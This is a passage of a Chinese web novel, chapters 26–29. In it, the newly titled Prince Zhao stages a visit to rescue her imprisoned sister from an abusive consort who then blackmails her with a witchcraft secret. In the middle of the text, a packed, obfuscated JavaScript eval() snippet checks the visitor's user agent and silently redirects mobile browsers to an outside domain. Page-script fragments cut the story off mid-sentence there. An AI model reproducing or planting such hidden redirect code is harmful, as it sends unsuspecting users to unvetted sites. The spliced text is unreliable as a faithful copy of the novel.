从决定管这件事开始,林昭就一直在思考,自己该如何做才能做到既营救了明康这个长姐,又狠狠惩戒赵家一番,同时不至于让自己在礼法上处于下风。最重要的是,借这件事来一场“千金买马骨”,吸引有才之士投靠。 譬如一些同样身处困境又有野心的女子,这些人可都是她的天然同盟。在这个所有人都不看好她的最初阶段,这些女子完全可以成为她的第一波势力,也是最忠诚的一波势力。 所以,她的第一个想法就是,直接让林霄包围整个公主府,然后让阿茶领着人冲进去,将明康公主救出来。动作迅速,高效,且完全不必担心任何意外发生。届时,再以明康公主的病和她的证词作为抨击赵家的理由,也可以让自己占据舆论最高点。 但很快,她就自己否定了自己这个糙想法。 太挑战洛京百官的神经了!动不动就派兵包围权贵府邸,不肖第二天,怕是当天批她的奏折便能掩盖整个乾安殿。更别提经此一事,太子、贤王等人会对她多么加倍忌惮,就是给她虎贲的武德帝偶尔睡醒,心中怕也会忍不住嘀咕一句,怀疑她一言不合就闯宫。 既然无法莽进去,那自然就只能温和着来。 于是,林昭脑海中顷刻间又定了第二个计划,阳谋! 借着刚搬入王府,且王府和公主府相邻,两人又是姐妹的名义,直接堂堂正正光明正大上门拜访。 赵程心有鬼蜮,又怎么敢真让她见明康公主呢,届时一定会出面敷衍且阻拦她。此时,作为明康公主侍女的阿茶再揪准机会,不顾一切地闯入她与赵程谈话的厅堂,当着她的面控诉赵程欺凌囚禁公主,哭诉求救。 此刻,作为妹妹的她,便占了情理法三重先机,进退自如。不止可以快速的将明康救出去,还能站在道德高位上审判赵程,将一定会试图阻拦她的赵程等人,直接抽个皮开肉绽。反正武德帝都说了,只要不死就行。 对付这样的人,还是新加坡的鞭子适合他们。 不过,令林昭没想到的是,这赵家比她想象中的还目无君主,也不将她放在心上,她这个昭王都已经在这前殿客厅中待了这么久了,那赵程却连脸都还没露一下。想到这里,林昭眼中嘴角露出一抹冷笑,纵然知晓哪怕武德帝封她为王,在很多人眼里她这个王爷也照样不伦不类。但这样的轻视,依然让她很是恼火。 可为了计划实施,哪怕她此刻心底多么不耐,对赵程这个驸马有多么厌恶,也不能表现出来。不止不能表现出来,等下赵程出来时,她还必须对他笑脸相迎,客客气气,毕竟是名义上的姐夫。 果然又是考验演技的一天,林昭忍不住想道,似乎自从穿书后,她时时刻刻都处于演技爆发状态。 若有机会回去,也不知道能不能去闯一回演艺圈。 就在她自我调侃时,一阵脚步声传来,不用想也知道来人是谁。 林昭将手中的茶盏轻轻的放在案几上,嘴角噙笑,漫不经心抬眼看向来人。 作为西雍国的驸马,赵程的长相自然不会太差,纵然没有长成貌若潘安的模样,却也剑眉星眸,仪表堂堂。再加上他年岁也不过二十出头,正是一个人年华最好的时候,锦绣华服,披金戴玉,不知底细的人乍一看他,还会以为是哪家出来的翩翩佳公子呢。 当然,这一切的前提都是必须忽视掉此人眼底的血丝和眼周的暗沉,那显然是日日沉迷酒色,自我放纵造成的结果。金玉其外,败絮其中,说的大概就是赵程这样的纨绔子弟吧! 随着赵程走近,林昭甚至还闻到了一抹甜腻的脂粉味,也不知道是从哪里沾染上的。指不定,这人刚刚还躺在哪个女人的身边呢!想到这个可能性,林昭胃里一阵翻涌,差点想把刚吃的早点都吐出来。 好在她强忍着压下了这抹不适,没让自己在脸上表现出来。为了快点结束这个寒暄的过程,早点进入正题,不让自己受太久的罪,林昭直接主动出击,含笑对赵程打了一个招呼,带着一种刻意展现的亲昵。 “姐夫!” 赵程还 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随即一屁股坐在另一边的主位,以一种长辈教训晚辈的施舍口吻,对着林昭慢悠悠道,“不是我说,妹妹,这里是洛京,不是乡下。乡下人没规没矩,时时刻刻到处乱窜。可这洛京不同,但凡有点规矩体统的人家,就不会一大早宵禁刚解就上别人的门。” 林昭脸上神色丝毫没变,甚至嘴角的弧度还加深了几分。不过是被人轻视,被人骂乡下人没规矩而已,这算什么。出社会向上爬这几年,她什么样的骂没挨过,什么样的黑锅没背过,赵程这样的辱骂对她而言,不过是小儿科而已。 况且,生气又有什么用,狠狠地打回去,才是最好的报复。 林昭立马做出一副略带羞愧的神情,就跟没注意到赵程的轻视一般,声音轻柔的解释道,“姐夫教训的是,只是——”她停顿了一下,微微低了低头,彷佛在犹豫自己要不要继续说下去,过了一会儿才继续道,“我才刚回来,听说长姐抱恙,妹妹心中有点焦急,便顾不得这许多礼数了,这才冒昧上门,不知道姐夫可否行个方便。” 做足了一个只是担心长姐,又怕打扰姐夫的小妹妹模样。 赵程果然没有怀疑,一个刚到洛京的妹妹听到长姐抱病,不顾礼数前来看一眼,再正常不过了,毕竟是乡下来的。当然,赵程自然也不可能让林昭见到明康公主,他早在来见昭王的时候,就已经想好了拒绝的理由了。 所以,听完林昭那番话后,他便直接遗憾般说道,“妹妹,按道理来说,你想要见明康,我不该阻拦的。只是,你怕是不知,医工说了,明康那病需要静养,最好谁都不要见,否则很容易不好。妹妹的心意,姐夫替你姐姐领了。你放心,待你姐姐病好一点了,我便让你姐姐去看你。”说完,他便站起来,做出一副送客的模样,打算赶紧把眼前的昭王送走,好继续他醉生梦死的生活。 林昭却没有动,好像并没有看到赵程要送客的样子,继续询问道, “可是病得严重?” 说完,随即向殿侧偏僻处的一个内侍使了个眼色。 内侍心领神会,缓步走了下去。 赵程对此一无所知,眼看着林昭一副问个没完没了的模样,心底彻底不耐起来,连带着语气都带着一种烦躁,他挥了挥手,敷衍的话直接脱口而出,“没事,老毛病了,这几年你姐姐时不时就这样,修养一下就好了。” “小妹还是想看看明康姐姐,毕竟小妹也是刚到洛京。” 见林昭一再纠缠,赵程心中的不耐更甚,脱口就道,“昭王殿下,不是姐夫我非要拦着你,而是你姐姐的确不好见客。再说了,殿下尊贵,若过了病气在身上可就不好了。”很显然,他试图以此吓住林昭,让她识趣地就离开。 “多谢姐夫关心!”林昭沉吟一会儿方才道,“不过不必忧心,小妹看一眼便走。” 说着,便端着茶盏慢悠悠的喝了一口茶,一幅非见不可的模样。 赵程见此,脸色瞬时难看了起来,忍不住在心中狐疑,这昭王是没看懂自己的意思,还是故意打算坐着不走?莫非她知道了些什么?他心中惊惶了一瞬,随后又觉得不太可能。这昭王才刚回洛京才几天,怎么可能知道? 此刻,前殿旁边的一个看似不起眼的假山旁,一个内侍无意走了过去,随后轻轻的敲了三下。待听到里面传来三下回音后,便立马看了对面站岗的一个虎贲军一眼,点了点头,扭头装作不经意般离开了假山。 很快,客厅外就传来喧哗声。 27.第 27 章 赵程心中正烦躁着呢,听到这番动静,脸上立马闪现了怒容,忍不住在心中暗骂,这赵伯到底是干什么吃的,明知道昭王就在这客厅,还搞出这么大的动静。 他觑了一眼似毫无所觉的昭王,抬脚就打算出去看一眼。 就在此时,一个身穿青衣,头发凌乱,浑身狼狈的女子突然踉踉跄跄的冲了进来,身后跟着一溜侍卫和公主府下人。那侍卫们看着好像都在阻拦女子进入客厅,但仔细看就会发现,他们并未真正发力,反而有意无意地阻挡着身后真正想将她拉下去的公主府下人们。 这个突然出现的女子,正是林昭特意安排好的明康公主侍女阿茶。 从确认实施计划二开始,林昭就把阿茶夹在她们的队伍里面送进了公主府。当然,没将她送回后院,而是让她躲在客厅旁边的一处假山里,正是刚刚内侍敲击的那个假山。那三声敲击就是信号,暗示她可以行动了。 这才有了如今这个场景。 看到这一幕,所有人的目光都投放在阿茶身上。 林昭适时的露出一抹震惊和不解的神情。 赵程则因为认出了阿茶的身份,烦躁的脸上立时凝滞住了,瞳孔也瞬间剧缩。 阿茶根本不看其他人,她知道明康公主能否获救,就看自己此刻这一举动了,因此拿出了前所未有的演技——甚至,她根本不需要演技这回事,因为就在今儿个凌晨,她就做了一遍类似的动作。 所以,一跑进客厅,阿茶便看准林昭所在的方向,“扑通”一声跪在地上,膝行爬到林昭面前,随即声音清晰而凄厉得喊道,“昭王殿下,公主被驸马囚禁虐待,已经奄奄一息了,求你救救我们公主吧!!” 赵程一听到阿茶喊出的这句话,立马就跟戳中尾巴的毒蛇一样跳起脚来,高声呵斥道,“贱婢,你在胡说八道什么!” 此刻的他,刚刚的自大和自以为是早已荡然无存,原本还算俊朗的脸上,也因为暴怒惊惶而扭曲狞狰,整个人彷佛一个地狱恶鬼。 哪怕是再蠢,赵程也知道,决不能让这个侍女再说下去了。 想到这里,他也顾不得什么昭王暗王了,直接扭头看向正一脸焦急的赵伯等下人,怒声吼道,“还站着干什么,还不快把这肆意造谣的贱婢拉下去杀了!” “老爷!昭王的护卫——”赵伯看了一眼上首的林昭和她周边一看就不同寻常的护卫,忍不住出声提醒。 可赵程现在哪里还看得懂这种暗示,此刻他脑海里只有一个想法,就是要想方设法让这名叫阿茶的侍女闭嘴。 眼看着昭王派人阻拦着赵伯他们,自己的下人竟然动都动不了,赵程瞥了一眼被阻拦的府中护卫手上的剑,心一狠直接趁其不注意抽了出来,提起剑就往阿茶的方向劈去。 既然拉不下去,就直接杀了吧! 林昭是真没想到,这赵程竟还有这等魄力,或者说,能够如此疯。见阿茶出来了,状也告出口了,没法将人拉下去遮掩事实,就想直接杀人灭口,还当着她的面杀。 怎么,下一步是不是要杀她灭口。 这一回,她是彻底怒了! 眼看着赵程跟个疯子一样乱挥乱砍,虎贲卫又顾忌着他的身份,不好过于强势阻拦。这人横冲直撞着,竟然真有要冲破护卫防护的架势,林昭直接将手中的茶盏狠狠的掷在了赵程的脚下。 “啪嚓”一声,茶杯碎裂的声音响起。 赵程吓了一跳,不由自主得止住了动作。 混乱这才停止! “放肆——”林昭随即冷冷地喝道,看向赵程厌恶的神情再无掩饰,如同在看一滩散发着恶臭的、令人作呕的腐肉,“赵驸马,孤还在这里,你要对谁喊打喊杀?穆兰——” 穆兰早等着这一刻了,见此立马出列,一个格挡直接打掉赵程乱挥的剑,随即又是一个跃步,单掌如铁钳般精准地、死死的扼住赵程的手,对着他的膝盖就是一个狠踢。 身后的两名虎贲见了,也立马上前将赵程摁倒在了地上。 身旁看到这一点的其他虎贲直接倒吸了一口冷气,也不知道这个驸马以后还能不能正常走路了。 要知道,他们昨儿个才知道,昭王身边这个女侍卫,那力气可不是盖的,随随便便踢人一下,都可能让人骨折。 本来被虎贲卫阻拦的赵伯等公主府众人,也同样屏住了一口气,吓得不行,再也不敢向前冲了,一个个都跪在了地上。 而被摁在地上的赵程,脸上早已没有了方才入殿时的得意,只剩下一片狼狈不堪,膝盖的剧痛让他眼冒金星,可比剧痛更让他几乎失去理智的是这番被按在地上的羞辱。 赵程从未想过,有一天他会被人像摁狗一样摁在地上。 他自诩武德帝的表弟,姑姑是先仁康太后,在这雍国除了武德帝本人,还有谁比得上他尊贵。要知道,哪怕太子贤王他们,按照辈分都是他的晚辈! 如今却被一个才从乡下回来洛京没几天的王爷如此羞辱,这个王爷还是个女人,巨大的愤怒瞬间涌上他的心头,彻底燃烧掉了他的理智。 赵程瞬间宛如野兽般嘶吼起来,“该死——放开我——你们这些狗奴才——放开我!”一边嘶吼一边眼神恶狠狠得盯着林昭,“我可是先仁康太后的侄子!这雍国的驸马爷!你们敢如此对我?陛下不会放过你的,太后在天之灵也不会放过你的。” “驸马?呵——”林昭冷笑一声,从赵程连掩盖都不掩盖那对自己的轻蔑和鄙夷时,林昭就很想回击了,“喊你一声驸马,叫你一声姐夫,不过是看在长姐的面子上罢了。” 说罢,她直接站起来,居高临下得看着宛若死狗般的赵程,丝毫也不遮掩自己的轻蔑,“不过一个整日里只知道花天酒地的废物,莫非你真以为自己是个什么大人物不成?” 至于先仁康太后,毕竟是武德帝的生母,她并不打算提及。 听到这样一番鄙夷自己的话,还是从自己没有看在眼里的人嘴里说出的,赵程的脸直接紫胀起来,张了张嘴想要反驳,却又不知道该如何反驳? 毕竟,他自诩的尊贵,到底有几分水,他自个儿清清楚楚。 所以,赵程只能眼睛圆瞪,恶狠狠得看向林昭,若不是被人强按着,甚至都恨不得扑上去咬下她一口肉了。 “怎么?你觉得不服?”林昭嗤笑着问道。“赵程,莫以为我不知道你做了什么事情。” “什么?我不知道你什么意思?” 赵程直接装傻,他根本不可能承认,甚至还打算继续诓骗林昭,一脸悲愤道,“昭王,你被这贱婢给骗了,我可是你姐夫——” 林昭冷笑一声,不再说话,直接起身,带上阿茶扭头朝明康公主的院落而去。 事实胜于雄辩,与其在这客厅跟赵程继续扯皮,不如找到明康公主,让其再无话可说。 最重要的是,这里是赵程的主场,她必须避免赵程狗急跳墙,为了掩盖罪证,暗地里示意人杀害明康这个长姐。 * 林昭忙着以最快速度找到明康公主,并没有察觉,在她离开前殿之后,立马便有一个不起眼的角落洒扫仆从,悄然去到公主府的一个小门,将消息透露给了一个穿着普通的侍卫。而这个侍卫也没有耽搁,很快又将消息透露给了等在门外的另一个线人。 很快,这个线人便快速来到了旁边不远处的另一个王府,将消息告知了府中的主人,荣王。 荣王林璋早在林昭踏入公主府之时,便已收到了消息。 昨天,突然听到这个妹妹封王的消息时,林璋虽然也很是愤怒妒忌,但到底不过是一介女子,他心中对她还是轻视的。 再加上惊鸿轩的一面,这个亲妹妹短视又偏激的表现,完全让他松了戒心。所以,他听到林昭封王第一反应,就是觉得自己可以利用。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16273722|179107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 既然想要利用,林璋自然不会除了洗脑林明珠外什么都不做。 所以,昨天下午从宫里刚回宫,他就着人吩咐了下去,让人盯紧这个二妹妹的动向。 目的嘛,自然是“投其所好”,制造时机! 要想用情感这根矛来达成自己的目的,最忌讳得就是太急,欲速则不达。 前期,更是需要付出许多心力,给足她们情绪价值。不然,又如何俘获住她的心房呢? 对于这一套武贵妃言传身教的情感驾驭术,林璋早已玩得驾轻就熟。 正因如此,林璋快速知晓了林昭的动向;不过,对于林昭拜访明康这个长姐这件事,林璋并没有说什么。 虽然对林慧这个长姐无感,但到底是长姐,在他看来林昭作为妹妹,又住在隔壁,象征性的拜访一下,也是礼仪。 哪怕一大早拜访有点奇怪,他也只当她乡野出来,不懂礼数。 可是,令荣王没想到的是,这个二妹妹竟然堂而皇之得揭破了明康被囚禁这件事。 明康这件事里面,藏着多大的雷,别人可能不清楚,他难道会不知道吗?要知道,他就是凭借着对林明珠这个受宠妹妹足够好,这才入了父亲的眼的。利用自己的妹妹,来彰显自己作为兄长的担当,早已经成为他的拿手好戏。 当时察觉明康长姐被囚时,他又怎么可能什么都不做呢? 关心亲妹妹是一种担当,拯救非同母长姐,岂不是更能显出自己对血脉亲情的重视? 当然,赵家的面子还是要顾及的,毕竟是父亲的母家。 为了不将事情闹得太难看,他便派人先去赵程面前试探了一番。 结果这不试探不要紧,一试探竟然试探出了一个大雷。想到后来,那名幕僚回来后悄悄对他说出口的两个致命字眼,林璋当时便觉得浑身冰冷。 好险!差点,他差一点就牵扯到一场滔天之祸里面了。 自此,他便只当自己不知道这件事,再也没提过什么明康了。 不止他,因为他的这一番动作,洛京所有权贵不管知道不知道这件事,都默契一致,彷佛忘记了洛京还有这号人一样。 没想到,这个二妹妹竟然初生牛犊不怕虎,堂而皇之的去淌这样一趟浑水。 “蠢不可及!”林璋忍不住道。 “昭王到底是个女子,又是刚从乡野出来,易感情用事,如何能够和王爷相比?”旁边心腹谄媚着笑容说道。 林璋脸上立时便露出一股傲慢的神色,“那是自然,不过是一介女子,如何与孤相比?” 本来林璋是想派人将林昭叫回来的,到底是一母同胞,她这个王位对他又有好处,林璋自然不希望这个妹妹真折在这件事里面。不过,想到惊鸿轩里面这个妹妹,对着他那怨恨不甘的眼神,他又改变了主意。 “孤这个二妹妹,大概是在乡下待久了,以为这个世界非黑即白,驸马赵程囚禁明康,便是罪大恶极;殊不知,有时候看事情不能看表面。” 说着,他便下定决心,先不管这件事,“还是让这个妹妹吃点亏好,届时,她便会明白孤这个哥哥的好处了。” 总归,在林璋看来,赵程应该不至于蠢到真让他那二妹妹将那件事揭露出来的程度。 隔壁,贤王府,几乎差不多同时收到消息的贤王林琏,听完下面的人汇报了这个消息后,同样选择了冷眼旁观; 至于东宫太子那边,则压根没将这件事放在心上,甚至连明康公主被囚禁这件事,太子林瑚都直接过耳即忘了,他压根没将这个大妹妹放在眼里过。 而洛京其他权贵,更是压根不知道这里面还别有文章,只以为不过是一次姐妹间的普通拜访,还是一场不合礼节的拜访。 不过,因为林昭的突然封王,出于某种谨慎,他们几乎都不约而同的做了同一个动作,派人时刻关注了这件事! 28.第 28 章 与此同时,玉泉山温泉行宫,武德帝也收到了相关信息。 看到信中所写,“侍女夜闯昭王府”,“殿下假意访问公主府”,“打算通过侍女的口,揭破公主被囚”之类的字眼,武德帝脸上总算再次露出了笑容,他欣慰地看着上面的字,甚至忍不住拍了一下旁边的榻。 “好!!”武德帝高兴的喝道,“看来朕的安排这次是真的白预备了,本以为还要等几天,没想到明康这丫头........”武德帝想到信中那个被她派出去求救的侍女,“总算是开了点窍。如今竟然已经开始动脑子,知道派人出去求救了。” 明明不过是女儿的一个小小改变,武德帝的心中却着实激动。无它,这个女儿实在是令他烦恼太久了。想到这个女儿前十几年那怯弱软绵的模样,每次看到武德帝心中就气不打一处来。 他这样一头从尸山血海中踏上尊位的猛虎,怎么就生出了那样一个软绵如羊的女儿呢? 他想要派人改变她,可这个女儿虽然性格绵软,却固执得很,根本不听那些人的话。而他,更是连责备她一句都做不到。话稍微重一些,这女儿看着便一副要死的模样,搞得武德帝真是左右为难。 如今,看到这个女儿终于有了反抗之心,他怎能不高兴。 武德帝不仅高兴,他甚至还直接站了起来,抚掌哈哈哈大笑了好几声,连扯动了手中用力撘弓后酸痛的肌肉,也不在意。身旁的张永看着这一切,心中啧啧称奇,宫里的人都说明康公主不受宠,可除了自己又有几个知道,天子也会为了明康公主的长进如此欢喜。 不过,眼看着陛下高兴劲儿差不多过了,张永也没心思再继续打小差了,脸上立马又换上了一款和天子相似的高兴面容,对着武德帝笑呵呵道,“陛下,都说虎父无犬女,明康公主可是你的女儿,又怎么可能不像你呢?这几年或不过是不显而已。” 当父亲的最喜欢听到的,可不就是这样的话嘛!武德帝当即拍了拍张永的肩膀,对他赞道,“老家伙,你这句话说到朕心窝里了。你说得对!朕可是吃人的虎,朕的子女自然也个个如虎,可以暴虐阴险,但绝不可能软弱。” 说完,他望了一眼洛京的方向,“但愿她别让我失望!” 随即,武德帝将信放下,吩咐张永时刻关注之后,便带着侍卫出去打猎去了。 —— 而此刻,林昭这边,几人已经在阿茶的带领下,来到了一处偏僻小院落。 推开虚掩的院门,一股陈腐的气息扑面而来。林昭的目光扫过眼前景象,饶是早有心理准备,心也猛地一沉。 这哪里是金枝玉叶的公主居所?分明是座被遗忘的囚笼! 屋子虽然整体完好,但整体却透着难掩的荒凉。蛛网灰尘到处都是,院子里更是积满了腐败落叶,一层叠加一层,踩上去甚至都已经有种踩棉花的感觉了。不用想都知道,这些落叶怕是已经有个把月,没人清扫处理了。毕竟,就阿茶这样一个侍女,又要伺候人又要做其他事,恐怕也做不来那么多。 瞥了眼匆匆赶来的赵程等人,林昭直接一个跨步,走进了明康公主所在的房间。只是,当目光落在依然沉睡着的明康公主身上时,林昭的目光还是忍不住烫了一下。 纵然预料到此刻明康公主的状态可能不会太好,但林昭也没想过,她的状态会如此差。林昭看着眼前的明康公主,哪里是什么公主,几乎已经快成为了一个瘦脱相的骨架子。这种瘦还跟林昭这种因为吃不饱的瘦不同,是一种生病时形销骨立般的瘦。宽大寝衣套在她身上,衣袖垂落露出一截手腕,青筋尽露,细得着实有点骇人。 脸上更是苍白到几乎看不到一丝血色,眼窝干陷,嘴唇干裂,哪怕睡着了眉毛也未舒展。唯有那一头秀发,虽然有点毛躁干黄,但整体依然柔顺透亮,能够昭示眼前人是位金枝玉叶公主。 一股炙热的怒火在她脑海中蔓延,林昭扭头看向一旁神情中也有点惊惶的赵程,直接冷声质问道,“赵驸马,这就是你说的无事?这就是你说的修养一下就好?”说完,她猝然逼近他一步,眼中满是厌恶道,“这样的修养,不如让赵驸马也试试如何?” 说完,她便看向穆兰,“穆兰,给我们的驸马也好好“修养”一下吧!” 穆兰领命,直接拿出了早已准备的鞭子,牛皮编的鞭子,上面还特意附上了不少铁钩倒刺,只要被抽一下,绝对能让人脱一层皮。这可是虎贲卫审讯用的鞭子,穆兰特意向林霄要的,里面不知道沾染了多少人的血呢? 赵程一见到这样一个鞭子,心立时便一寒,连带着刚刚因为阿茶出现走失的理智,此刻也彻底回来了。 他并不是一个蠢人,他虽然行事张狂,骄横跋扈,一直仗着自己是先仁康太后的侄子,为所欲为。甚至在贤王、荣王等人面前,都不遮掩。但面对武德帝时,他的胆子其实是很小的,压根不敢放肆。 刚刚之所以如此冲动,一来是因为阿茶出现得突然,他心有鬼蜮自然心虚,急于掩饰,这才动作过激了,反而给了眼前这个昭王出手的机会。二来,也是他心底一直没将眼前的昭王看在眼里,以为不过是个小丫头,反而能够趁机震慑一番,让她装聋作哑。 如今理智回来,赵程倒是看明白了,今日个这昭王反常的拜访,怕本就来者不善。 她很有可能早就知晓明康被自己囚禁这事了。 不然,那侍女也不可能如此凑巧出现。更别说,还有这明显是准备好的鞭子。 此时此刻,再继续狡辩、咆哮,甚至灭口,显然已经无济于事了。明康的惨状就在眼前,真相已经一目了然。所以,他如今想要获救,只能从其他方面入手。 好在他赵程也不是全无准备,真以为他是无脑囚禁明康的? 想到这里,赵程努力忽视膝盖处的剧烈如刀割般的疼痛,愤怒的声音终于转为平静,就连依然残留着宿醉与日夜寻欢作乐的血丝痕迹的双眼,里面都不再有了刚刚的暴戾之色。 “昭王殿下,我承认的确囚禁了明康公主!”赵程直接承认了自己囚禁明康这个事实,不再做任何狡辩,毕竟,事实都已经摆在眼前,也狡辩不了。但下一秒,他就开启了转折,“但我之所以这么做,也不过是不得已而为之而已。” “哦?”林昭眉梢微挑。她看向神色已经恢复冷静的赵程,和刚刚暴怒狞狰的他,全然似两人,眼眸沉了沉。本以为这个赵驸马不过是寻常嚣张跋扈的纨绔子弟,没想到此人虽然嚣张跋扈,却并没有自己所想的愚蠢。 “苦衷?”林昭淡淡笑了一声,挥了挥手,让穆兰先停下动作,“行,我倒是想知道,赵驸马有什么苦衷?” 林昭不相信,此人还能在事实面前,狡辩出个什么花来。 谁料赵程突然笑了起来,笑容中带着明显的恶意,“昭王真的要我众目睽睽之下说出来嘛?”说着,他异常冷静的眼睛像毒蛇一般死死盯着林昭,“要知道,有些秘密不出口还好,一出口可能就要血流成河了。” 说着,他的声音陡然压低,语气中带着一丝阴冷森然,“昭王,你可要想好了?毕竟——”赵程冷笑一声,眼露疯狂,“戾太子的前车之鉴.......摆在那里呢!那个见不得光的偶人,我可是保管得好好的,昭王,你就......真不怕?” 赵程话一落,空气瞬间凝固了起来。 “偶人”、“戾太子”所有人都被他口中这两个词打了个措手不及。 林昭原本淡然的脸瞬间沉了下去,林霄笔挺的身影僵了一瞬,青衣和王直脸上惯有的恭敬表情,也有一片刻的扭曲;也幸亏房间太小,虎贲卫并没有进来,不然怕是能听到一片倒抽凉气的声音。 大家都不是傻子,很快就猜到了真相! 也就穆兰不明所以,拿着鞭子的手依然跃跃欲试。 当然,还有一个人反应比较奇特,便是阿茶,她的脸上展现出更多的不是震惊,而是惊恐。 显然,她压根没想到,赵 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然而,当她的目光对上阿茶的目光时,心却猛然沉了下去。本来她是想让阿茶驳斥这一说法,可林昭完全没想到,在与阿茶对视时那电光火石的一瞬间,她看到的竟然不是阿茶的愤怒,而是目光中的闪躲。 更甚者,为了不与她对视,她甚至直接撇开了头。 如此明显的心虚表现,几乎直接证明了一件事,赵程所言非虚。 谁能想到呢,这个叫阿茶的侍女说了那么多,竟然对她隐瞒了最重大的一件事! 荒谬——林昭从没有哪一刻比现在更觉得现实荒谬,连带着原本对明康的深刻同情,都感觉喂了狗。 此时,她也终于明白了,为何明康公主前面会那么愚蠢,对赵程脱口一个九族威胁。并不是因为她真的愚蠢,而是因为恐惧,她知道巫蛊代表什么,也深刻明白巫蛊被发现的可怕后果。那句话,正是情急之下的口不择言。 在这落针可闻般的死寂中,没人知道院子背后正藏着一个不起眼的小厮,并将这一切都听了进去。 随后,几人的对话很快便被传到了荣王府旁边的另一个王府,贤王府。与荣王只在公主府临时收买了几个不起眼的洒扫仆从和侍卫不同的是,贤王林琏很早之前,就在公主府上布置了属于自己的暗子。 正因为如此,他才知道,林璋曾经派幕僚来过公主府的事情。 可惜,这里面的雷赵程遮得比较紧,基本除了他和明康公主,没有任何人知道到底是怎么一回事。他虽然知道荣王幕僚回去后,林璋便再没有了动作,却也不知道这里面的内幕。 本以为,这件事会成为一个秘密,随着明康这个长姐死了而彻底埋葬。 没想到,这个鲁莽的二妹妹就这么阴差阳错之下,就把这个秘密揭破了。看着密信上清晰的“戾太子”、“偶人”几个字眼,他几乎想也没想,就猜到了答案——巫蛊。 巫蛊啊,那可是十恶不赦之罪,动辄血流成河的。据说,据说,光戾太子那一场巫蛊之乱,就死了近万人。 自此以后,巫蛊这东西,便彻底成为了后续朝代的禁忌,是任何朝代、任何君王都绝不容触碰的逆鳞,基本上是谁触谁死! 谁能想到,明康公主这件事竟然跟巫蛊有关呢? “事情变得有趣起来了呢!”另一边,猜出了答案的贤王林琏,拾起一枚白色棋子,堵住了一颗黑子的最后一口气,随即笑着说道,“那赵程虽然是个蠢人,但蠢人并不意味着好对付,贪着呢!”说着,他呵了一声,随手又拾起一枚白子,直接把一团黑子的气孔全部堵死,“就是不知道,这个父亲新封的昭王,会如何做?” “王爷觉得,这件事该如何做最好?”心腹谋士忍不住问道。 林琏面无表情得看了他一眼,神情淡漠道,“自然是学我那好三弟,当什么都不知道最好!” “如此的话,那明康公主?” “呵——”林琏目光看向棋盘桌面,脸上没有一丝动容,“自作自受罢了!” 29.第 29 章 林昭当然不想继续管这件事,可这是武德帝设置的考验,她不得不管。 何况,如今巫蛊之事已经被赵程说出了口,王直已经知道了,王直既然知道了,那么便意味着武德帝也知情了。而且,听赵程的意思,此事显然不止透露给了她。就算她现在当自己没有听见赵程的这句话,别人照样可以给她泼脏水。 如此一来,此时她不管插不插手,都已经卷入这场漩涡里了。与其到时候落得个被动的下场,不如深入进去,掌控主动权。 眼下最重要的事,还是弄清楚所谓的“巫蛊”,到底是什么? 空气彷佛有一刻的停滞,林昭目光再次转回到有点瘸腿的赵程身上,他的脸上有着明显的快意,特别是在她看过去时,脸上的得意丝毫不掩饰,这一瞬间她彷佛又看到了刚刚前殿客厅时候,那个嚣张到敢教训她这个昭王的赵驸马。 原以为不过是个纨绔子弟,没想到这一时的轻视,倒给了她不小的一击。 林昭闭了闭眼,深吸一口气,强行压下自己心中的怒火。 她很清楚,越是如此状况,必须越冷静。 她不再去看赵程那张令人作呕的脸,瞥了一眼不知道是在熟睡还是昏迷了的明康公主,以及侍立一旁,面色惶恐的阿茶,林昭心中虽然恼怒,却也没有去申斥她。一来,现在并不是谈这些的时候;二来,阿茶会隐瞒这件事,反而更合情理。 归根到底,她忠心的是明康公主,又不是她。 只是,心里头到底梗着一根刺,林昭吩咐身旁的青衣等人去找医工后,便扭头离开了卧房。 很快,她便跨过小院,来到了小院前面的中厅。和公主府前殿客厅的尽显雍容富丽不同,这个小院的中厅整体都显得寒酸得很,就连座位都只有四个,还是最普通的榆木椅子,连雕花都只有少许,可见其中的敷衍。 可此刻林昭已经没心情去计较这些了,看一眼紧随而来,面露得意的赵程,她沉吟思索了片刻,最终还是决定顺了赵程的意,沉声对林霄道,“林中郎,封锁这里。自此刻起,未经孤的允许,任何人靠近或者传递消息,直接格杀勿论!” 林霄也清楚这件事的严重性,立即抱拳道,“是!!!” 随即率领虎贲卫快速将整个前院都围了起来。一部分人如同鬼魅般占据所有门窗要冲,手按刀柄,明晃晃得告诉其他人,此刻不能靠近;另一部分人则如同驱赶蝼蚁般,将刚刚赵程领来的公主府下人赶了出去。 这些下人本就在院子外面,进不去里面,一看到这个架势,差点吓得屁滚尿流了,一个两个全被虎贲卫的给拖出去了。就连管家的赵伯也不例外。 很快,整个中厅便只剩下林昭、穆兰、林霄、王直、赵程五人。 贤王林琏听到这个消息,很是意外,随即立马冷笑起来。 “原以为是个聪明的,却没想到我这二妹妹,竟然是个侠义心肠,那可真是太好了,孤正愁没法将这洛京的水搅浑呢!机会这不就来了?”说完,直接吩咐心腹,密切关注那道院门的动向,但凡有任何动静,都来禀报他。 而此刻,公主府,被冷嘲热讽为侠义心肠的林昭,面上已经冷成冰块,称得上一句面沉如水了。她看向赵程,语气冷硬无比道,“赵程,东西在哪里,你现在可以说了。” “想要我说?”眼见昭王真如自己所愿屏退了其他人,赵程虽然腿依然很痛,但心里却有了一种堪称扭曲变态的快意。他站在中厅,居高临下的看着眼前的林昭,笑了,笑得张狂又得意。 昭王又怎样,皇帝的女儿又怎样,有他拿住的那个把柄,投鼠忌器,就算昭王知道了自己囚禁公主这件事,也不敢拿自己怎样?呵——跟他耍王爷威风,也不看看他是谁? 不过,赵程看向眼前的昭王,虽然长得丑,但耐不住身上背着个王爵,还受陛下宠爱啊。等明康一死,再让她替了明康,也不是不可能。姐姐死了,妹妹再嫁过来做继室,在这个年代实在太常见了。 届时,隔壁的王府岂不是也成他的了! 想到这里,他贪婪地打量着林昭,目光也开始黏腻起来,语气轻佻道,“昭王妹妹何必着急,反正东西就在那里,又不会丢。” 